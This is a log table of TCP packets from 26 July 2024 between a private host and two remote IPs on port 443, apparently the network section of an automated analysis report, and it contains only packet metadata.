Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 09:26:01.812455893 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:01.812572002 CEST	443	49161	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:01.812640905 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:01.819752932 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:01.819832087 CEST	443	49161	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:02.309762955 CEST	443	49161	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:02.309999943 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:02.315727949 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:02.315768003 CEST	443	49161	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:02.316112041 CEST	443	49161	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:02.316167116 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:02.442351103 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:02.484548092 CEST	443	49161	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:02.767870903 CEST	443	49161	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:02.767956972 CEST	443	49161	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:02.768074989 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:02.768074989 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:02.774075985 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:02.774075985 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:02.774115086 CEST	443	49161	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:02.774372101 CEST	49161	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:03.719660044 CEST	49162	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:03.719707012 CEST	443	49162	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:03.719769001 CEST	49162	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:03.720107079 CEST	49162	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:03.720125914 CEST	443	49162	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:04.242033958 CEST	443	49162	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:04.242176056 CEST	49162	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:04.250829935 CEST	49162	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:04.250857115 CEST	443	49162	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:04.251214027 CEST	443	49162	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:04.256839037 CEST	49162	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:04.300498009 CEST	443	49162	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:04.599797010 CEST	443	49162	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:04.599948883 CEST	443	49162	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:04.600126982 CEST	49162	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:04.619625092 CEST	49162	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:04.619671106 CEST	443	49162	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:04.619721889 CEST	49162	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:04.619738102 CEST	443	49162	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:08.876091003 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:08.876137018 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:08.876323938 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:08.876852989 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:08.876878977 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.382304907 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.382461071 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:09.403151989 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:09.403198957 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.403563023 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.423576117 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:09.464545012 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.754105091 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.754282951 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.754344940 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:09.779742002 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:09.779769897 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.779784918 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:09.779793978 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.779804945 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:09.779809952 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.957201004 CEST	49164	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:09.957279921 CEST	443	49164	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:09.957371950 CEST	49164	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:09.957561970 CEST	49164	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:09.957590103 CEST	443	49164	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:10.434465885 CEST	443	49164	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:10.434556961 CEST	49164	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:10.439958096 CEST	49164	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:10.439980030 CEST	443	49164	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:10.440381050 CEST	443	49164	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:10.441508055 CEST	49164	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:10.484507084 CEST	443	49164	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:10.791429043 CEST	443	49164	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:10.791661024 CEST	443	49164	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:10.791874886 CEST	49164	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:10.810115099 CEST	49164	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:10.810144901 CEST	443	49164	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:13.914716005 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:13.914771080 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:13.914824963 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:13.917332888 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:13.917349100 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:14.430555105 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:14.430639029 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:14.436170101 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:14.436186075 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:14.436659098 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:14.437727928 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:14.480514050 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:14.802177906 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:14.802293062 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:14.802340031 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:14.802460909 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:14.802484035 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:15.054801941 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.054866076 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.054935932 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.055258989 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.055282116 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.554442883 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.554558039 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.581089020 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.581120014 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.583450079 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.583467007 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.691329956 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.691412926 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.691468000 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.691518068 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.691515923 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.691515923 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.691515923 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.691555977 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.691584110 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.691610098 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.691617966 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.691710949 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.691802979 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.691839933 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.691839933 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.691873074 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.691906929 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.691967010 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.692003012 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.692017078 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.692030907 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.692063093 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.692575932 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.692627907 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.696079016 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.696124077 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.722481966 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.783736944 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.783827066 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.783835888 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.783883095 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.783915043 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.783938885 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.783940077 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.783952951 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.783991098 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.783992052 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.784008980 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.784054995 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.784152985 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.784207106 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.784220934 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.784277916 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.784334898 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.784419060 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.784440994 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.784497023 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.784509897 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.784562111 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.785167933 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.785226107 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.785239935 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.785291910 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.785305023 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.785361052 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.785377026 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.785428047 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.785439968 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.785500050 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.785511971 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.785564899 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.786211967 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.786267996 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.786278963 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.786339998 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.786351919 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.786407948 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.786407948 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.786421061 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.786458969 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.786458969 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.787146091 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.787204981 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.826656103 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.826827049 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.826858997 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.826931953 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.876514912 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.876698017 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.876730919 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.876781940 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.876790047 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.876801014 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.876821041 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.876838923 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.876945019 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.877006054 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.877228022 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.877289057 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.877301931 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.877357006 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.877466917 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.877525091 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.878077984 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.878133059 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.878248930 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.878298998 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.878930092 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.878987074 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.879106998 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.879159927 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.879928112 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.879985094 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.880166054 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.880212069 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.880218983 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.880232096 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:15.880259037 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.880280018 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.920397043 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:15.920614004 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.122296095 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.122374058 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.122426033 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.122490883 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.122540951 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.122541904 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.122863054 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.122925997 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.124629974 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.124691010 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.124800920 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.124855995 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.125211000 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.125272036 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.125297070 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.125341892 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.125483036 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.125538111 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.125876904 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.125932932 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.126028061 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.126080036 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.126779079 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.126836061 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.127028942 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.127079964 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.127743959 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.127794027 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.127980947 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.128036022 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.128094912 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.128150940 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.128729105 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.128784895 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.128886938 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.128938913 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.129641056 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.129702091 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.129878044 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.129931927 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.129998922 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.130054951 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.130841017 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.130898952 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.131630898 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.131715059 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.131933928 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.131988049 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.132107019 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.132165909 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.132221937 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.132277012 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.133773088 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.133830070 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.134311914 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.134371042 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.134483099 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.134535074 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.134625912 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.134675026 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.136071920 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.136082888 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.136115074 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.136131048 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.136138916 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.136154890 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.136166096 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.137368917 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.137429953 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.137433052 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.137445927 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.137475014 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.139182091 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.139236927 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.139240980 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.139251947 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.139278889 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.139295101 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.139734983 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.139790058 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.139791965 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.139830112 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.139861107 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.140815973 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.140876055 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.140878916 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.140888929 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.140918970 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.141423941 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.141478062 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.141480923 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.141490936 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.141520977 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.142632961 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.142690897 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.142694950 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.142704010 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.142731905 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.142745972 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.157434940 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.157500982 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.157500982 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.157524109 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.157551050 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.157565117 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.157732964 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.157788038 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.157788038 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.157804012 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.157836914 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.158467054 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.158525944 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.158530951 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.158540010 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.158571005 CEST	49166	443	192.168.2.22	188.114.97.3
